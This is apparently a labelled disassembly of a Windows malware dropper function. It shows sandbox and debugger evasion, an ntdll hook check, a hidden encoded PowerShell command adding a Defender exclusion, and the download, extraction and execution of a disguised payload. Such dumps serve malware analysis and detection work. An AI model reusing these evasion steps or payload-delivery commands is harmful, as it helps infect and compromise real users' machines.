Function at 0x140002a90
Capabilities:
Check for debugger via api
Create http request
Create process on windows
Download and write a file
Get common file path
Get file size
Get memory capacity
Get system information on windows
Read data from internet
Read file via mapping
Receive and write data from server to client
Receive data
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2900]
mov eax, 0x2a00
call fcn.14001cf80
sub rsp, rax
mov rax, qword [0x140068328]
xor rax, rsp
mov qword [rbp + 0x28f0], rax
xor r12d, r12d
mov dword [rsp + 0x50], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140060d70]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x58], r12b
mov r14d, 1
mov dword [rsp + 0x50], r14d
lea r8d, [r12 + 0x7c]
lea rdx, str.fwfeweffwefweoihfwehfwehfweojoireoijrgeojigeroijegrgerojigerjiogerjiogeroqpijrpoegirjwqergwopjwgerjgwrejopiwgerjopiwgerpojio
lea rcx, [rsp + 0x58]
call fcn.1400056c0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002b50
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b6f
call fcn.14001c720
mov r8d, 0x104
lea rdx, [rbp + 0x6e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002b90
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140003b75
movabs r13, 0x7fffffffffffffff
mov qword [rbp - 0x48], 7
cmp rbx, 8
jae 0x140002be6
mov qword [rbp - 0x50], rbx
add rbx, rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.14001e6d0
mov word [rbp + rbx - 0x60], r12w
jmp 0x140002c84
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140002bfc
lea rcx, [r13*2]
jmp 0x140002c24
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, r13
ja 0x140003b69
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002c50
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b69
mov rcx, rax
call fcn.14001c9c4
test rax, rax
je 0x140003b63
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002c62
test rcx, rcx
je 0x140002c5f
call fcn.14001c9c4
mov rdi, rax
jmp 0x140002c62
mov rdi, r12
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.14001e6d0
mov word [rdi + rbx], r12w
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x50]
lea r15, [rdx + rax*2]
lea rbx, [rbp - 0x60]
cmovae rbx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov edi, 0xf
mov qword [rbp - 0x68], rdi
cmp rbx, r15
jne 0x140002cc8
mov r8, r12
mov byte [rbp - 0x80], r8b
jmp 0x140002db7
mov rax, r15
sub rax, rbx
sar rax, 1
mov rsi, r12
cmp rax, r13
ja 0x140003b7b
cmp rax, 0x10
jb 0x140002d70
mov rdi, rax
or rdi, 0xf
cmp rdi, r13
jbe 0x140002cf8
mov rdi, r13
jmp 0x140002d04
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002d4e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b81
mov rcx, rax
call fcn.14001c9c4
mov rcx, rax
test rax, rax
je 0x140003bdb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002d5d
test rcx, rcx
je 0x140002d5a
call fcn.14001c9c4
jmp 0x140002d5d
mov rax, r12
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, qword [rbp - 0x80]
movzx eax, byte [rbx]
mov byte [rcx + rsi], al
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
add rbx, 2
cmp rbx, r15
je 0x140002d9d
mov rdi, qword [rbp - 0x68]
jmp 0x140002d70
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rax, qword [rbp - 0x80]
mov byte [rsi + rax], 0
mov rdi, qword [rbp - 0x68]
mov r8, qword [rbp - 0x70]
lea rcx, [rbp - 0x80]
mov r13, qword [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, r13
cmp r8, 9
jne 0x140002de1
lea rdx, str.putty.exe
call fcn.14001e5d0
test eax, eax
je 0x140003011
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x140], 2
jb 0x140003ab9
mov dword [rbp + 0x150], 0x40
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x158]
shr rax, 0x14
cmp eax, 0x800
jb 0x140003ab9
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], r12
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x6c]
mov eax, dword [rsp + 0x68]
imul rcx, rax
mov eax, dword [rsp + 0x64]
imul rax, rcx
imul rax, qword [rsp + 0x58]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x3a
jb 0x140003ab9
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov eax, dword [rcx + 0x1c]
add rax, r15
mov qword [rsp + 0x40], rax
mov esi, dword [rcx + 0x20]
add rsi, r15
mov eax, dword [rcx + 0x24]
add rax, r15
mov qword [rsp + 0x48], rax
xor ebx, ebx
mov r13d, dword [rcx + 0x18]
test r13d, r13d
je 0x140002faa
nop word [rax + rax]
mov ecx, dword [rsi]
add rcx, r15
lea rdx, str.NtCreateThreadEx
call fcn.14004ed20
test eax, eax
je 0x140002f92
inc ebx
add rsi, 4
cmp ebx, r13d
jb 0x140002f70
jmp 0x140002faa
movsxd rax, ebx
mov rcx, qword [rsp + 0x48]
movzx ecx, word [rcx + rax*2]
mov rax, qword [rsp + 0x40]
mov r12d, dword [rax + rcx*4]
add r12, r15
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rax, qword [rax]
cmp rax, qword [r12]
jne 0x140003ab2
mov rax, qword [rcx + 8]
cmp rax, qword [r12 + 8]
jne 0x140003ab2
xor r12d, r12d
mov dword [rsp + 0x50], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov r13, qword [rbp - 0x80]
cmp dword [rsp + 0x50], r12d
jne 0x140003ab9
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 0x40
lea rdx, str.KTg4ImkebnV5fGIHdWJ9ZX0CdGMqPSFUMjhjNDxDLCkISpCNSkhIiFebzYlIg
lea rcx, [rbp + 0xc0]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8d, 6
lea rdx, str.ALLRS1
lea rcx, [rbp + 0x60]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, 0x26
lea rdx, str.__formersystempro__formersystempro.exe
lea rcx, [rbp - 0x40]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
xor r8d, r8d
lea rdx, [0x140060910]
lea rcx, [rbp]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
xor r8d, r8d
lea rdx, [0x140060910]
lea rcx, [rbp + 0x100]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 7
lea rdx, str.pro.exe
lea rcx, [rbp + 0xe0]
call fcn.140006340
nop
lea rcx, str.powershell__WindowStyle_hidden__inputformat_none__outputformat_none__NonInteractive__ExecutionPolicy_Bypass__enc_QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACgAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAHIAaQBhAGIAbABlACgAJwBVAFMARQBSAFAAUgBPAEYASQBMAEUAJwApACAAKwAgACcAJwApAA
call fcn.140023570
xor ecx, ecx
call fcn.1400241d8
mov rcx, rax
call fcn.140022e54
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.1400025a0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400024c0
nop
lea rsi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.1400025a0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
call fcn.1400024c0
nop
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rax, qword [rbp + 0x20]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r12, qword [rbp]
test eax, eax
jne 0x1400031e0
call fcn.140005f30
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140005da0
movzx edx, al
mov rcx, rbx
call fcn.1400068e0
mov rcx, rbx
call fcn.140005980
jmp 0x1400036c8
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, r14
lea rdx, [0x140060cf8]
lea rcx, [rbp - 0x20]
call fcn.140006340
nop
lea rcx, [rsp + 0x58]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000321b
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x20]
call fcn.1400056c0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003266
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003261
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b87
call fcn.14001c720
mov r8d, 4
lea rdx, str..zip
lea rcx, [rbp - 0x20]
call fcn.1400056c0
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rbx, qword [rbp - 0x20]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.1400243d8
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.1400243d8
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000367c
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000334d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000367c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x14000339e
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000367c
mov dword [rsp + 0x54], 0
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000340b
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x14000340b
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x8f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400033c2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2a0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x4c0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, r12
mov r8, qword [rbp + 0x10]
test r8, r8
jne 0x140003488
lea rdx, [0x140060910]
call fcn.14001e5d0
test eax, eax
je 0x140003aaa
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, r14
lea rdx, [0x140060cf8]
lea rcx, [rsp + 0x58]
call fcn.140006340
nop
lea rcx, [rbp + 0x120]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400034c8
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056c0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140003518
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003513
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8d
call fcn.14001c720
mov r8d, 4
lea rdx, str..zip
lea rcx, [rsp + 0x58]
call fcn.1400056c0
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rbx, qword [rsp + 0x58]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.1400243d8
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.1400243d8
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000363e
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140003634
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400039a3
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000367c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003676
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b93
call fcn.14001c720
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400036b7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b99
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d70]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140003703
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9f
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d70]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140003755
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003750
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba5
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d70]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400037a7
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bab
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d70]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400037f9
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb1
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d70]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140003852
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000384c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb7
call fcn.14001c720
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140003894
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000388e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bbd
call fcn.14001c720
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x1400038d1
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400038c8
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc3
mov rcx, r12
call fcn.14001c720
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000390c
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003907
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc9
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d70]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140003959
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003953
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bcf
call fcn.14001c720
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140003abc
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003999
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bd5
call fcn.14001c720
jmp 0x140003abc
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003a19
nop word [rax + rax]
mov r8d, dword [rsp + 0x50]
test r8d, r8d
je 0x140003a19
xor eax, eax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea rdx, [rbp + 0x18f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400039d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3b0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003aaa
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aa5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b93
call fcn.14001c720
mov r14d, esi
jmp 0x14000367c
xor r12d, r12d
mov r13, qword [rbp - 0x80]
mov r14d, r12d
cmp rdi, 0x10
jb 0x140003af4
lea rdx, [rdi + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140003aeb
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bdb
mov rcx, r13
call fcn.14001c720
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140003b30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b63
call fcn.14001c720
mov eax, r14d
mov rcx, qword [rbp + 0x28f0]
xor rcx, rsp
call fcn.14001c700
lea r11, [rsp + 0x2a00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400251e8
int3
call fcn.140001270
int3
call fcn.1400251e8
int3
call fcn.140001310
nop
call fcn.140001310
nop
call fcn.140001270
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
int3